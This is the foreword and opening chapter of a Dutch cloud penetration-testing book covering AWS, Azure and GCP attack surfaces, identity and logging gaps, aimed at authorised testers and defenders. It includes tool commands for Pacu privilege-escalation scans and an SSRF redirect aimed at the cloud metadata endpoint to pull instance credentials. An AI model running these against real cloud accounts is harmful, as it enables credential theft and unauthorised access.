Voorwoord

Voorwoord

Er is een fascinerende discrepantie tussen hoe organisaties denken over hun cloudbeveiliging en hoe die beveiliging er werkelijk uitziet. Vraag een CTO hoe het staat met de security van hun cloud-omgeving, en hij zal je vertellen dat alles in orde is. Ze gebruiken AWS. Of Azure. Of Google Cloud. En die providers – dat zijn toch de slimste engineers ter wereld? Die regelen de beveiliging toch? Er is encryptie at rest. Er is encryptie in transit. Er staan vinkjes bij alle compliance-frameworks. Alles is geregeld.

Vraag vervolgens een cloud penetratietester hoe het staat met diezelfde omgeving, en je krijgt een verhaal dat aanzienlijk minder geruststellend is. Een verhaal over S3 buckets die publiek toegankelijk zijn en al maanden stilletjes data lekken naar het internet. Over IAM-rollen met AdministratorAccess die zijn aangemaakt “voor die ene migratie” en er nooit meer zijn afgehaald. Over service accounts met hardcoded credentials in Lambda-functies. Over een Conditional Access Policy die er op papier waterdicht uitziet, maar in de praktijk omzeild kan worden door een aanvaller met een gratis e-mailadres en tien minuten geduld.

Dit boek gaat over dat tweede verhaal.

Het is een verhaal dat zich herhaalt in elke organisatie die naar de cloud is gemigreerd – en dat zijn inmiddels vrijwel alle organisaties. De details verschillen: hier is het een vergeten Access Key, daar een Lambda-functie met environment variables die leesbaar zijn voor iedereen met een GetFunction-permissie, elders een Entra ID-configuratie die ervoor zorgt dat elke gastgebruiker de volledige adreslijst van de organisatie kan downloaden. Maar het patroon is altijd hetzelfde. De beveiligingsaannames kloppen niet. En de aanvaller hoeft alleen maar de aannames te vinden.

Waarom dit boek

“Incompetent Bastards: De Cloud” is het derde deel in een serie over penetratietesten. Het eerste boek – “De Webapplicatie” – behandelde de kwetsbaarheden in webapplicaties, van SQL injection tot Server-Side Request Forgery. Het tweede boek – “Het Netwerk” – ging het interne netwerk in: Active Directory, Kerberos, lateral movement, en alles wat daartussen zit.

Dit boek gaat over het terrein dat in rap tempo het nieuwe slagveld is geworden: de cloud.

En “slagveld” is het juiste woord. De cloud is niet simpelweg een netwerk dat ergens anders staat. Het is een fundamenteel ander paradigma, met eigen regels, eigen aanvalsoppervlakken, en eigen manieren om spectaculair mis te gaan. De vaardigheden die je nodig hebt om een Active Directory-domein te compromitteren overlappen gedeeltelijk met wat je nodig hebt in de cloud, maar de verschillen zijn minstens zo belangrijk als de overeenkomsten.

In de cloud is identiteit de nieuwe perimeter. Een IAM policy is het nieuwe firewall-ruleset. Een misconfiguratie in een resource policy kan meer schade aanrichten dan een ongepatchte server, want die misconfiguratie schaalt mee met alles wat eraan hangt. En dat is precies het probleem: alles schaalt in de cloud. Inclusief de fouten.

De ethische grens

Dit herhalen we in elk deel, en we zullen het blijven herhalen tot het overbodig wordt. Dat moment lijkt nog ver weg.

Alles in dit boek is uitsluitend bedoeld voor gebruik in geautoriseerde penetratietesten. Je hebt schriftelijke toestemming. Je hebt een scope-document dat expliciet beschrijft welke cloud-accounts, subscriptions, projecten, regio’s en services binnen bereik vallen. Je hebt een escalatieprocedure. Je hebt telefoonnummers van mensen die opnemen als je per ongeluk een productie-database hebt verwijderd die niet door een deletion policy werd beschermd.

In de cloud is de ethische grens extra scherp, om twee redenen.

Ten eerste: het shared responsibility model. AWS, Azure en GCP beveiligen de infrastructuur onder je workloads. Jij beveiligt wat er op draait. Dat betekent dat je als pentester de verantwoordelijkheid draagt voor alles wat je doet binnen die gedeelde omgeving. Een misconfiguratie in je pentest-tooling kan data lekken naar het publieke internet. Een verkeerd geconfigureerde security group kan een pad openen dat er niet hoort te zijn. De blast radius van een fout in de cloud is groter dan on-premise, omdat de cloud per definitie verbonden is met het internet.

Ten tweede: multi-tenancy. Cloud-omgevingen delen fysieke infrastructuur met andere klanten. Een pentest die onbedoeld buiten de scope treedt, raakt niet alleen je opdrachtgever – het raakt potentieel andere organisaties op dezelfde infrastructuur. Dat is niet alleen onethisch; het is illegaal in vrijwel elk rechtsgebied.

Zorg ervoor dat je scope-document de volgende cloud-specifieke elementen bevat: AWS Account IDs, Azure Subscription IDs, of GCP Project IDs die binnen scope vallen. Regio’s die getest mogen worden. Services die binnen bereik vallen. En – cruciaal – een expliciete vermelding of je penetration testing notification hebt ingediend bij de cloudprovider. AWS heeft sinds 2023 geen voorafgaande goedkeuring meer nodig voor de meeste pentests, maar Azure en GCP hebben hun eigen regels. Ken die regels. Volg ze.

De wet is duidelijk. In Nederland valt ongeautoriseerde toegang tot computersystemen onder artikel 138ab van het Wetboek van Strafrecht. In de cloud is de grens tussen geautoriseerd en ongeautoriseerd soms subtiel – een account dat je mag testen bevat een role trust naar een account dat buiten scope valt; een SSRF lekt credentials van een service in een andere regio dan afgesproken – maar de wet maakt dat onderscheid niet voor je. Jij maakt dat onderscheid. En je maakt het voordat je op Enter drukt, niet erna.

Gebruik deze technieken verantwoord. Of gebruik ze niet.

Voor wie is dit boek

Dit boek is geschreven voor twee doelgroepen die meer met elkaar gemeen hebben dan ze doorgaans denken.

De eerste groep is de penetratietester die van on-premise naar cloud wil. Je kent Active Directory. Je kent Kerberos. Je kunt in je slaap een Golden Ticket maken. Maar als iemand je vraagt om een AWS-omgeving te testen, sta je daar met je Rubeus in de hand en een leeg gevoel van binnen. Dit boek leert je de cloud-equivalenten van de technieken die je al kent, en de technieken die geen on-premise equivalent hebben.

De tweede groep is de cloud engineer die wil begrijpen hoe aanvallers denken. Je bouwt IaC-templates, configureert IAM policies, en deployt workloads. Maar je hebt nooit vanuit het perspectief van de aanvaller naar je eigen werk gekeken. Dit boek laat je zien welke aannames je maakt die niet kloppen, welke standaardinstellingen onveilig zijn, en waarom die “tijdelijke” exception in je security group al zes maanden meedraait.

Wat we verwachten: basiskennis van cloud computing (je weet wat een VM is, je hebt weleens ingelogd op de AWS Console of Azure Portal), enige ervaring met de command line, en de bereidheid om te leren door te doen.

Wat we niet verwachten: dat je een cloud-expert bent. Daar is dit boek voor.

Een kanttekening, dezelfde als in de vorige delen: dit boek is geen certificeringsgids. Het bereidt je niet voor op de AWS Security Specialty, de AZ-500, de CCSP, of een andere verzameling letters die indruk maakt op een LinkedIn-profiel maar weinig zegt over daadwerkelijke vaardigheid. Wat het wel doet is je de kennis geven die je nodig hebt om die certificeringen te begrijpen – en om de kloof te zien tussen wat een certificering test en wat de echte wereld van je vraagt.

Twee perspectieven

Net als in de voorgaande delen is dit boek geschreven vanuit twee perspectieven.

De eerste is die van de nieuwsgierige ontdekkingsreiziger – iemand die zich oprecht verwondert over het feit dat je met drie regels CLI-code een volledige database kunt deployen in een datacenter op een ander continent, en die vervolgens wil begrijpen waarom de standaard beveiligingsinstellingen van die database zo hartgrondig tekortschieten.

De tweede is die van de cynicus – iemand die niet kan geloven dat we de fouten van het on-premise tijdperk niet alleen hebben meegenomen naar de cloud, maar ze ook nog eens hebben geschaald. Want als er een ding is waar de cloud goed in is, dan is het schalen. Inclusief het schalen van incompetentie.

Samen vormen ze, hopen we, een boek dat je zowel iets leert als bij de les houdt. De nieuwsgierige stem vraagt “hoe werkt dit?” De cynische stem vraagt “hoe hebben we dit laten gebeuren?” En samen komen ze uit bij “wat kunnen we eraan doen?”

De structuur van het boek

Dit boek volgt het pad van een cloud-penetratietest, van de eerste reconnaissance tot het eindrapport. We beginnen met de basis: wat is de cloud vanuit het aanvalsperspectief, hoe werkt identiteit, hoe zet je een lab op. Vervolgens lopen we door de aanvalsfasen: reconnaissance, credential harvesting, privilege escalation, lateral movement, persistence. We eindigen met rapportage en compliance – het deel dat bepaalt of je bevindingen daadwerkelijk tot verbeteringen leiden.

Elk hoofdstuk behandelt alle drie de grote cloudproviders (AWS, Azure, GCP) waar relevant. De commando’s en voorbeelden zijn per provider gemarkeerd, zodat je snel kunt vinden wat je nodig hebt voor het platform waarmee je werkt.

Leesconventies

De conventies uit de voorgaande delen gelden onverminderd, met enkele cloud-specifieke toevoegingen.

Code en commando’s staan in code blocks met syntax highlighting. Cloud CLI-commando’s worden gemarkeerd met hun respectieve CLI:

# AWS CLI
aws sts get-caller-identity

# Azure CLI
az account show

# Google Cloud CLI
gcloud auth list

IB Tips zijn praktische verwijzingen naar het Incompetent Bastard-dashboard:

IB Tip: De Command Library bevat cloud-specifieke commando’s. Zoek op cloud_ voor AWS-, Azure- en GCP-gerichte technieken.

Placeholder-waarden gebruiken cloud-specifieke conventies:

Placeholder Betekenis Voorbeeld
ACCOUNT_ID AWS Account ID 123456789012
SUBSCRIPTION_ID Azure Subscription ID a1b2c3d4-e5f6-...
PROJECT_ID GCP Project ID my-project-123
ROLE_NAME IAM-rolnaam AdminRole
BUCKET_NAME S3/Blob/GCS bucket corp-backup-prod
REGION Cloud-regio eu-west-1
TARGET_IP IP van doelsysteem 10.0.1.50

Verdedigingsmaatregelen worden per techniek beschreven. In de cloud zijn verdedigingsmaatregelen vaak een policy-wijziging of een configuratie-aanpassing, niet een patch of een upgrade. Dat maakt ze tegelijkertijd eenvoudiger te implementeren en moeilijker te handhaven – want een policy die niemand afdwingt is geen policy.

MITRE ATT&CK Cloud Matrix-referenties worden per techniek vermeld. De Cloud Matrix bevat technieken die specifiek zijn voor cloud-omgevingen (IaaS, SaaS, Identity Provider) en is een uitbreiding op de Enterprise Matrix die in de voorgaande delen werd gebruikt.

Het gereedschap

Door het hele boek gebruiken we Incompetent Bastard (IB) als operationele hub, aangevuld met cloud-specifieke tooling.

De cloud-gereedschapskist:

Tool Doel Platform
aws cli AWS API-interactie Alle clouds (AWS)
az cli Azure API-interactie Alle clouds (Azure)
gcloud GCP API-interactie Alle clouds (GCP)
ScoutSuite Multi-cloud security auditing AWS, Azure, GCP
Pacu AWS exploitation framework AWS
ROADtools Azure AD/Entra ID reconnaissance Azure
CloudFox Cloud attack surface enumeration AWS, Azure, GCP
Prowler AWS/Azure security assessment AWS, Azure
enumerate-iam AWS IAM permission enumeration AWS
cf-enum CloudFormation/ARM/Terraform analyse Multi-cloud

IB’s Command Library bevat cloud-commando’s die dezelfde conventies volgen als de netwerk- en webcommando’s: kopieerbare blokken met inline commentaar, placeholders die automatisch worden vervangen, en directe verwijzingen naar de technieken uit dit boek.

De architectuur van IB – een lokale Flask-applicatie met SQLite, zonder cloud-afhankelijkheden, zonder telemetrie – is bijzonder passend voor cloud-pentesting. Je pentest-tooling draait op je eigen machine, geïsoleerd van de cloud-omgeving die je test. Je bevindingen, credentials, en evidence verlaten nooit je systeem. In een vakgebied waar we de hele dag praten over het risico van data in andermans cloud, is het prettig om te weten dat je eigen tooling dat risico niet deelt.

De SSRF-module in IB (/ssrf) is bijzonder relevant voor cloud-pentests. Cloud metadata-endpoints – 169.254.169.254 voor AWS en GCP, 169.254.169.254 voor Azure IMDS – zijn het primaire doelwit van SSRF-aanvallen in cloudomgevingen. IB bevat redirect-endpoints die specifiek zijn ontworpen om deze metadata-services te bereiken via SSRF.

IB Tip: De SSRF redirect-endpoints in IB ondersteunen cloud metadata-extractie. Gebruik /ssrf/redirect?url=http://169.254.169.254/latest/meta-data/ voor AWS Instance Metadata Service. IB logt elke redirect, zodat je precies kunt zien welke metadata werd opgehaald.

De zusterboeken

Dit boek vormt samen met “Incompetent Bastards: De Webapplicatie” en “Incompetent Bastards: Het Netwerk” een drieluik dat het volledige spectrum van penetratietesten bestrijkt.

“De Webapplicatie” behandelt de applicatielaag: SQL injection, XSS, SSRF, deserialisatie, en alles wat daartussen zit. Veel cloud-aanvallen beginnen bij een webapplicatie – een SSRF die metadata lekt, een command injection die IAM credentials dumpt – en de technieken uit het eerste boek zijn daarmee direct relevant.

“Het Netwerk” behandelt het interne netwerk en Active Directory. De hybride wereld waarin de meeste organisaties opereren – met een on-premise AD dat is gesynchroniseerd naar Azure AD via Entra Connect – maakt de technieken uit het tweede boek onmisbaar voor cloud-pentests. Een gecompromitteerd on-premise AD is vaak een directe route naar de cloud, en vice versa.

Waar nodig verwijzen we naar de zusterboeken. De Command Library in IB weerspiegelt het drieluik: web_-commando’s voor webapplicaties, ad_- en kerb_-commando’s voor het netwerk, en cloud_-commando’s voor de cloud.

De drie boeken zijn complementair, maar onafhankelijk leesbaar.

Waarschuwingen

Door het hele boek heen gebruiken we waarschuwingen voor technieken die een hoog risico dragen op onbedoelde gevolgen:

Let op: Het verwijderen van een CloudTrail trail in een productie-omgeving heeft onmiddellijk effect en kan een compliance-schending veroorzaken. Gebruik deze techniek alleen in je lab of wanneer de scope het expliciet toestaat.

Cloud-operaties zijn vaak onomkeerbaar. Een verwijderde S3 bucket met versioning uitgeschakeld is permanent weg. Een geroteerde Access Key invalideert onmiddellijk alle systemen die die key gebruiken. Een aangepaste IAM policy kan honderden services beinvloeden. De blast radius in de cloud is groter dan on-premise, en de snelheid waarmee je schade kunt aanrichten is evenredig.

Wees voorzichtig. Test in je lab. En als je twijfelt, bel je contactpersoon.

Hoe dit boek te lezen

Net als de voorgaande delen kun je dit boek op twee manieren lezen.

De eerste manier is lineair: begin bij hoofdstuk 1, volg het pad van cloud-reconnaissance tot rapportage, en oefen de technieken in je lab terwijl je leest. Dit is de aanbevolen aanpak voor wie nieuw is in cloud-pentesting. De hoofdstukken bouwen op elkaar voort – identiteit vormt de basis voor privilege escalation, privilege escalation opent de deur naar lateral movement, en lateral movement leidt tot data-exfiltratie.

De tweede manier is als naslagwerk: je zit midden in een engagement, je hebt een set AWS-credentials verkregen via een SSRF, en je wilt snel opzoeken welke enumeratie-stappen je nu moet uitvoeren. Blader naar het relevante hoofdstuk, zoek de techniek, kopieer het commando. De referentietabellen aan het einde van elk hoofdstuk zijn hiervoor ontworpen.

Wat je niet moet doen – en we weten dat het toch gebeurt – is willekeurig commando’s uit dit boek kopieren en ze uitvoeren tegen systemen die je niet mag testen. We hebben het er al over gehad. We gaan het er niet nog een keer over hebben. Goed. Misschien nog een keer: niet doen.

Dankwoord

Dank aan de cloud-engineers die dag en nacht werken aan de beveiliging van de infrastructuur waarop de wereld draait. Dank aan de open-source-gemeenschap die tools bouwt als ScoutSuite, Pacu, ROADtools, CloudFox, en Prowler – gereedschappen die het mogelijk maken om cloud-omgevingen systematisch te testen. Dank aan de security-onderzoekers die IAM privilege escalation-paden documenteren en publiceren, zodat verdedigers weten waartegen ze zich moeten beschermen.

Dank aan de lezers van de eerste twee boeken die hebben gevraagd om een derde deel. Jullie feedback, correcties en suggesties hebben ook dit boek beter gemaakt.

En dank aan elke organisatie die na het lezen van een pentest-rapport daadwerkelijk actie onderneemt. Die de overprivileged policies aanpast. Die MFA afdwingt. Die logging inschakelt. Die niet wacht tot het misgaat, maar handelt voordat het zover is. Jullie zijn nog steeds zeldzaam. Maar jullie worden meer. En voor jullie schrijven we.

Veel plezier. En vergeet niet: altijd met toestemming. Vooral in de cloud, waar een vergissing niet beperkt blijft tot een enkel netwerksegment maar zich kan verspreiden met de snelheid van een API-call.

– Jan-Karel Visser, Kropswolde, 2026

Inleiding

Inleiding

1.1 Het Cloud-landschap

Op 14 maart 2006 lanceerde Amazon een dienst die ze Elastic Compute Cloud noemden – EC2. Het idee was simpel en tegelijkertijd revolutionair: in plaats van je eigen servers te kopen, te huisvesten en te onderhouden, huurde je rekenkracht bij Amazon en betaalde je per uur. Alsof je in plaats van een auto te kopen een taxi nam – maar dan een taxi die nooit vastzat in het verkeer, die je kon klonen als je er meer nodig had, en die je kon wegsturen zodra je uitgestapt was.

Het duurde precies anderhalf decennium voordat vrijwel elke organisatie ter wereld enige variant van dit model had omarmd. Niet omdat het noodzakelijkerwijs beter was – al beweerden de verkopers dat met een stelligheid die grenst aan het religieuze – maar omdat het anders was. En in de IT-wereld is anders vaak voldoende reden.

Vanuit het perspectief van de aanvaller is de cloud een merkwaardig fenomeen. Aan de ene kant heeft het veel traditionele aanvalsvectoren irrelevant gemaakt. Je kunt geen netwerkkabel lostrekken in een datacenter van Amazon. Je kunt geen USB-stick achterlaten op de parkeerplaats van een Azure-regio. De fysieke laag – die in het vorige boek nog een realistisch aanvalsvectorwas – is volledig buiten bereik.

Aan de andere kant heeft de cloud een heel nieuw universum aan aanvalsoppervlakken gecreeerd. API-endpoints die 24/7 bereikbaar zijn vanaf het internet. Identity-systemen van ongekende complexiteit. Honderden services per cloud provider, elk met hun eigen configuratieopties, standaardinstellingen, en eigenaardigheden. En dat alles beheerd via de combinatie van een webinterface en command-line tools die, laten we eerlijk zijn, door niemand volledig worden begrepen – inclusief de mensen die ze hebben gebouwd.

Het Shared Responsibility Model

En dan komen we bij het concept dat de kern vormt van vrijwel elk misverstand over cloudbeveiliging: het Shared Responsibility Model.

Het klinkt redelijk. De cloudprovider beveiligt de infrastructuur – de fysieke servers, het netwerk, de hypervisors. Jij beveiligt wat je erop zet – je applicaties, je data, je configuratie, je identiteiten. Amazon noemt het “security of the cloud” versus “security in the cloud”. Microsoft heeft er een vergelijkbaar diagram voor. Google idem dito.

Het probleem is niet het model zelf. Het model is logisch. Het probleem is dat het model wordt begrepen als: “Wij hoeven ons niet meer druk te maken over beveiliging, want dat doet Amazon/Microsoft/Google voor ons.”

Dat is niet wat het model zegt. Maar het is wat de gemiddelde beslisser ervan onthoudt.

Het shared responsibility model is in feite een juridisch document dat zegt: “Als uw S3 bucket publiek toegankelijk is en er data lekt, is dat uw probleem, niet het onze.” En eerlijk gezegd – dat klopt. Als je de voordeur van je huurappartement open laat staan, is dat niet de schuld van de verhuurder. Maar het zou fijn zijn als de verhuurder niet standaard alle deuren open had geinstalleerd.

IB Tip: Het SSRF-lab in IB (/ssrf) demonstreert hoe het shared responsibility model faalt in de praktijk. De cloud-provider beveiligt de metadata-service (IMDSv2 vereist nu een token), maar als jouw applicatie een SSRF-kwetsbaarheid bevat, is die extra beveiliging vaak te omzeilen. Het lab laat zien hoe.

De illusie van managed security

Er is een subtielere variant van het shared responsibility-misverstand, en die is misschien nog gevaarlijker. Het gaat zo: “Wij gebruiken managed services, dus we hoeven ons geen zorgen te maken over patching, updates, en configuratie.”

Het eerste deel klopt. Als je een managed database gebruikt (RDS, Azure SQL, Cloud SQL), hoef je je geen zorgen te maken over het patchen van het besturingssysteem. De cloudprovider doet dat. Maar de configuratie van die database – wie er verbinding mee mag maken, welke encryptie wordt gebruikt, of er logging is ingeschakeld, of de backup versleuteld is – dat is nog steeds jouw verantwoordelijkheid.

En het is precies in die configuratie dat het misgaat. Niet spectaculair. Niet met een zero-day. Maar met een checkbox die niet is aangevinkt. Met een security group die 0.0.0.0/0 toelaat op poort 3306. Met een IAM policy die "Effect": "Allow", "Action": "*", "Resource": "*" zegt – de cloudequivalent van een universele sleutel die op elke deur past.

De cloud heeft het beveiligingsprobleem niet opgelost. De cloud heeft het beveiligingsprobleem verplaatst van de serverruimte naar de configuratiepagina. En op die configuratiepagina maken mensen dezelfde fouten die ze altijd al maakten – maar nu op schaal.

1.2 De drie grote spelers

De publieke cloudmarkt wordt gedomineerd door drie spelers die samen meer dan twee derde van de markt bezitten. Het zijn dezelfde drie namen die je al verwachtte, want monopolievorming is blijkbaar ook iets dat de cloud goed kan schalen.

Amazon Web Services (AWS)

AWS is de oudste en de grootste. Met een marktaandeel van rond de 31 procent is het de standaard waar veel organisaties mee beginnen – en waar ze vervolgens voor altijd blijven, want migreren vanaf AWS is ongeveer even aangenaam als verhuizen met een huis vol antiek meubilair via een wenteltrap.

AWS heeft meer dan 200 services. Tweehonderd. Dat is niet een typefout. Van compute (EC2) tot databases (RDS, DynamoDB) tot machine learning (SageMaker) tot IoT tot satelliet-grondstations (ja, echt). Het is een ecosysteem van een omvang die niemand volledig overziet – inclusief, naar verluid, mensen die bij Amazon werken.

De architectuur van AWS is georganiseerd rond accounts en regio’s. Een AWS-account is de fundamentele isolatiegrens: resources in het ene account zijn niet automatisch zichtbaar in het andere. Regio’s (eu-west-1, us-east-1, ap-southeast-1) zijn geografische clusters van datacenters. Binnen een regio heb je Availability Zones – fysiek gescheiden datacenters die via een snel netwerk zijn verbonden.

Vanuit het aanvalsperspectief zijn de belangrijkste services:

Service Doel Aanvalrelevantie
IAM Identiteits- en toegangsbeheer De kroonjuwelen. Wie IAM beheerst, beheerst alles.
EC2 Virtuele machines Metadata-service, security groups, instance roles
S3 Object storage Publieke buckets, misconfigureerde policies
Lambda Serverless compute Hardcoded credentials, environment variables
RDS Managed databases Publiek toegankelijke endpoints, zwakke credentials
STS Security Token Service Temporary credentials, role assumption
CloudTrail API-logging Wat de verdediger ziet (en wat hij mist)
Organizations Multi-account beheer SCPs, cross-account access

Microsoft Azure

Azure is de nummer twee met circa 25 procent marktaandeel, en het groeit snel – grotendeels omdat elke organisatie die al Microsoft 365 gebruikt op een dag wakker wordt en ontdekt dat ze blijkbaar ook een Azure-subscription hebben. Het is alsof je een abonnement op de krant hebt en op een dag ontdekt dat je ook toegang hebt tot een compleet TV-netwerk. Surprise.

De architectuur van Azure verschilt fundamenteel van AWS. Waar AWS accounts als isolatiegrens gebruikt, organiseert Azure zich rond tenants, management groups, subscriptions, en resource groups. Een tenant is een Azure Active Directory (nu Entra ID) instantie. Een subscription is de factureringsgrens. Resource groups zijn logische containers voor resources.

Wat Azure uniek maakt vanuit het aanvalsperspectief is de diepe integratie met Entra ID (voorheen Azure AD). Entra ID is de identiteits-provider voor zowel Microsoft 365 als Azure. Dat betekent dat een gecompromitteerd Microsoft 365-account – die ene sales-medewerker die op een phishing-link heeft geklikt – potentieel een pad biedt naar de gehele Azure-omgeving.

En dan is er Entra Connect (voorheen Azure AD Connect): de synchronisatietool die on-premise Active Directory verbindt met Entra ID. In het vorige boek behandelden we hoe je een on-premise AD compromitteert. Met Entra Connect kun je van die compromittatie naar de cloud springen. Het is de brug tussen twee werelden, en bruggen zijn van oudsher favoriete doelwitten voor aanvallers.

Service Doel Aanvalrelevantie
Entra ID Identiteits-provider De sleutel tot alles in Azure en M365
VMs Virtuele machines Managed identity, metadata service
Storage Accounts Blob/File/Queue/Table storage SAS tokens, publieke containers
Key Vault Secret management Misconfigureerde access policies
App Service Managed web hosting Managed identity, deployment credentials
Functions Serverless compute Environment variables, binding secrets
Azure Monitor Logging en monitoring Wat de verdediger ziet

Google Cloud Platform (GCP)

GCP heeft ongeveer 11 procent marktaandeel en staat bekend om twee dingen: sterke standaard beveiliging en een interface die eruitziet alsof hij is ontworpen door iemand die een hekel heeft aan knoppen. De GCP Console is minimalistisch op een manier die sommige mensen elegant vinden en andere mensen tot wanhoop drijft.

GCP organiseert zich rond organizations, folders, en projects. Een project is de fundamentele container voor resources, vergelijkbaar met een AWS-account. Folders zijn optionele groeperingslagen. De organization is de top-level container, gekoppeld aan een Google Workspace of Cloud Identity domein.

De beveiliging van GCP is over het algemeen strenger out-of-the-box dan die van AWS en Azure. Cloud Storage buckets zijn niet standaard publiek. Firewall rules zijn deny-by-default. De metadata-service vereist standaard speciale headers. Maar “strenger” betekent niet “onkwetsbaar” – het betekent alleen dat de misconfiguraties die je tegenkomt subtieler zijn.

Service Doel Aanvalrelevantie
Cloud IAM Identiteits- en toegangsbeheer Service accounts, roles, permissions
Compute Engine Virtuele machines Metadata service, service account keys
Cloud Storage Object storage Bucket policies, signed URLs
Cloud Functions Serverless compute Environment variables, service account
Cloud SQL Managed databases Authorized networks, public IP
Secret Manager Secret management IAM-gebaseerde toegangscontrole
Cloud Audit Logs API-logging Admin Activity, Data Access logs

De multi-cloud realiteit

In theorie kiest een organisatie een cloudprovider en bouwt alles daar. In de praktijk gebruiken de meeste middelgrote en grote organisaties twee of alle drie de providers. AWS voor de core-infrastructuur, Azure omdat ze Microsoft 365 gebruiken en Entra ID nodig hebben, GCP omdat het data-team BigQuery wilde. Het resultaat is een multi-cloud omgeving die niemand volledig overziet, met identiteiten die verspreid zijn over meerdere providers en vertrouwensrelaties die het diagram ingewikkelder maken dan het Metro-netwerk van Tokio.

Voor pentesters is multi-cloud zowel een uitdaging als een kans. De uitdaging: je moet drie sets tools, drie sets API’s, en drie sets terminologie beheersen. De kans: de grenzen tussen providers zijn vaak de zwakste schakels. Een SAML-federatie tussen Entra ID en AWS IAM, een service account key die in een GCP Secret Manager staat maar toegang geeft tot een AWS-account via role assumption – deze kruispunten zijn de plekken waar misconfiguraties zich ophopen, want ze vallen in de verantwoordelijkheid van niemand specifiek.

Dit boek behandelt alle drie de providers, met nadruk op de patronen die ze delen en de eigenaardigheden die ze onderscheiden.

1.3 Cloud vs On-Premise

De sprong van on-premise naar cloud is niet simpelweg een kwestie van dezelfde dingen doen op een andere locatie. Het is een paradigmaverschuiving die je manier van denken als pentester fundamenteel verandert. Laten we de belangrijkste verschillen doorlopen.

Identiteit boven netwerk

In een on-premise omgeving is het netwerk de perimeter. Je hebt een firewall, netwerksegmentatie, VLANs, en ACLs die bepalen wie waar mag komen. In het vorige boek was het eerste wat je deed een nmap-scan om te zien welke poorten openstonden.

In de cloud is het netwerk nog steeds relevant, maar het is niet meer de primaire verdedigingslinie. Die rol is overgenomen door identiteit. Wie ben je? Welke rechten heb je? Tot welke resources heb je toegang? De antwoorden op die vragen worden niet bepaald door welk netwerksegment je zit, maar door je IAM-credentials.

Een aanvaller met geldige AWS-credentials kan vanaf zijn eigen laptop, vanuit elk land ter wereld, via de publieke AWS API, elke actie uitvoeren waarvoor die credentials rechten hebben. Geen VPN nodig. Geen lateral movement nodig. Geen netwerktoegang nodig.

Dat is een fundamentele verschuiving. In de on-premise wereld moest je eerst het netwerk binnenkomen en dan credentials zoeken. In de cloud is het andersom: credentials zijn je netwerktoegang.

# Met deze drie regels ben je "binnen" in een AWS-omgeving
export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=wJalr...
aws sts get-caller-identity

Dat is het. Geen exploit. Geen scan. Geen vulnerability. Gewoon credentials en een API-call.

API-First

Alles in de cloud is een API-call. Het aanmaken van een VM, het configureren van een firewall-regel, het toekennen van permissies, het lezen van een bestand uit storage – het zijn allemaal HTTP-requests naar een API-endpoint. De web console die je in je browser ziet is niets meer dan een grafische schil bovenop diezelfde API.

Dit heeft twee implicaties voor pentesters.

Ten eerste: alles is gelogd. Elke API-call wordt vastgelegd in CloudTrail (AWS), Azure Activity Log (Azure), of Cloud Audit Logs (GCP). Dit is zowel een risico (je acties zijn zichtbaar) als een kans (de acties van de verdediger zijn dat ook).

Ten tweede: automatisering is de norm. Je test geen cloud-omgeving door in een console te klikken. Je test hem met scripts, CLI-tools, en frameworks die honderden API-calls per minuut uitvoeren. De tools die we in dit boek gebruiken – Pacu, ScoutSuite, ROADtools, CloudFox – zijn in essentie geautomatiseerde API-clients.

# ScoutSuite: scan een complete AWS-omgeving in minuten
scout aws --profile target-account

# Pacu: AWS exploitation framework
python3 pacu.py
> import_keys AKIA... wJalr...
> run iam__enum_permissions
> run iam__privesc_scan

Ephemeral Resources

In de on-premise wereld is een server een fysiek ding dat in een rack staat. Het heeft een naam, een vast IP-adres, en het draait jaren achtereen. In de cloud kan een resource in seconden worden aangemaakt en in seconden worden vernietigd. Auto Scaling Groups spawnen en killen EC2-instances op basis van load. Lambda-functies bestaan alleen gedurende de milliseconden dat ze worden uitgevoerd. Containers in ECS of AKS leven minuten of uren.

Dit heeft gevolgen voor pentesting. Je kunt niet op je gemak een systeem enumereren als dat systeem over vijf minuten niet meer bestaat. Je kunt geen persistence inrichten op een instance die elke nacht wordt vervangen door een nieuwe. Je moet je aanpak aanpassen aan een omgeving die fundamenteel vluchtig is.

Het betekent ook dat forensisch onderzoek in de cloud een heel ander beest is dan on-premise. De server waarop het incident plaatsvond? Die is al lang weg. De logs? Die staan in CloudWatch, als iemand de retentie goed had geconfigureerd. Het geheugen? Verdampt toen de instance werd geterminate.

Logging en Detectie

In een on-premise omgeving heb je controle over wat er gelogd wordt. Je installeert een SIEM, je configureert Windows Event Forwarding, je zet Sysmon op je endpoints. In de cloud is logging grotendeels ingebouwd – maar niet altijd ingeschakeld.

AWS CloudTrail logt standaard management events (IAM-wijzigingen, resource-creatie) maar niet data events (S3 object reads, Lambda invocations). Dat laatste moet je apart inschakelen, en dat kost geld. Veel organisaties kiezen ervoor om het niet te doen, met als gevolg dat een aanvaller ongestoord data kan exfiltreren uit S3 zonder dat er een logentry wordt geschreven.

Azure Activity Log logt control plane-operaties automatisch, maar de retentie is standaard 90 dagen. Diagnostic Settings moeten expliciet worden geconfigureerd om logs naar een Log Analytics Workspace of Storage Account te sturen.

GCP logt Admin Activity standaard en zonder kosten, maar Data Access logs – wie leest welke data – zijn standaard uitgeschakeld voor de meeste services.

Dit is een belangrijk verschil met on-premise pentesting: in de cloud kun je als pentester relatief eenvoudig achterhalen wat er wel en niet wordt gelogd, en je gedrag daarop aanpassen.

IB Tip: Documenteer de logging-configuratie van de doelomgeving als een van je eerste reconnaissance-stappen. Welke logs zijn ingeschakeld? Wat is de retentie? Worden logs naar een SIEM doorgestuurd? Dit bepaalt je opsec-strategie voor de rest van de test.

1.4 Het Identity-First Paradigma

Identiteit is de nieuwe perimeter. Die zin wordt zo vaak herhaald op security-conferenties dat het een cliche is geworden. Maar cliches worden cliches omdat ze waar zijn, en deze is zo waar dat het bijna pijn doet.

IAM: het AD van de cloud

In het vorige boek beschreven we Active Directory als het telefoonboek, de sleutelbos, en het besturingssysteem van het bedrijfsnetwerk – allemaal tegelijk. IAM (Identity and Access Management) is het cloud-equivalent, maar dan complexer, abstracter, en – als dat mogelijk is – nog slechter begrepen.

In AWS draait IAM om vier kernconcepten:

Users – Menselijke identiteiten met permanente credentials (Access Key ID + Secret Access Key). Het cloud-equivalent van een AD-gebruiker met een wachtwoord dat nooit verloopt.

Roles – Identiteiten die je aanneemt (assume) in plaats van dat je ze bent. Een role heeft geen permanente credentials; hij geeft tijdelijke credentials uit via STS. Roles zijn de cloud-versie van Kerberos-tickets: tijdelijk, overdraagbaar, en met een specifieke scope.

